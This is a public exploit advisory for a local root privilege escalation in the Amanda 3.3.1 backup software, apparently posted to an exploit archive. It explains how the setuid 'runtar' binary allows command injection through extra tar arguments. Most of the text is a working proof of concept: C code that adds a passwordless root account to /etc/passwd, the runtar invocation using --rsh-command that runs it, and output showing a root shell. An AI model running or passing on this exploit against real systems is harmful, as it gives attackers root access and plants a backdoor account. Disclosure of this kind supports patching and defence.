Amanda 3.3.1 Local Root Privilege Escalation

`AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup   
solution that allows the IT administrator to set up a single master backup  
server to back up multiple hosts over network to tape drives/changers or   
disks or optical media. Amanda uses native utilities and formats (e.g. dump  
and/or GNU tar) and can back up a large number of servers and workstations  
running multiple versions of Linux or Unix.   
  
A user with backup privs can trivially compromise a client installation.  
The "runtar" setuid root binary does not check for additional arguments  
supplied after --create, allowing users to manipulate commands and perform  
command injection as root. Tested against Amanda 3.3.1.  
  
An example is shown below:  
  
$ uname -a  
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux  
$ ls -al /usr/lib/amanda/runtar  
-rwsr-xr-- 1 root backup 9776 Jul 29 2012 /usr/lib/amanda/runtar  
$ id  
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)  
$ cat /tmp/x.c  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/types.h>  
#include <unistd.h>  
  
int main(){  
setreuid(0,0);  
setregid(0,0);  
system("echo r00t::0:0::/:/bin/sh >> /etc/passwd");  
exit(0);  
}  
$ su - r00t  
No passwd entry for user 'r00t'  
$ gcc x.c -o x  
$ /usr/lib/amanda/runtar NOCONFIG tar --create --rsh-command=/tmp/x -vf localhost:/tmp/lol /etc/passwd  
tar: localhost\:/tmp/lol: Cannot open: Input/output error  
tar: Error is not recoverable: exiting now  
$ su - r00t  
# id  
uid=0(root) gid=0(root) groups=0(root)  
  
-- Hacker Fantastic  
  
`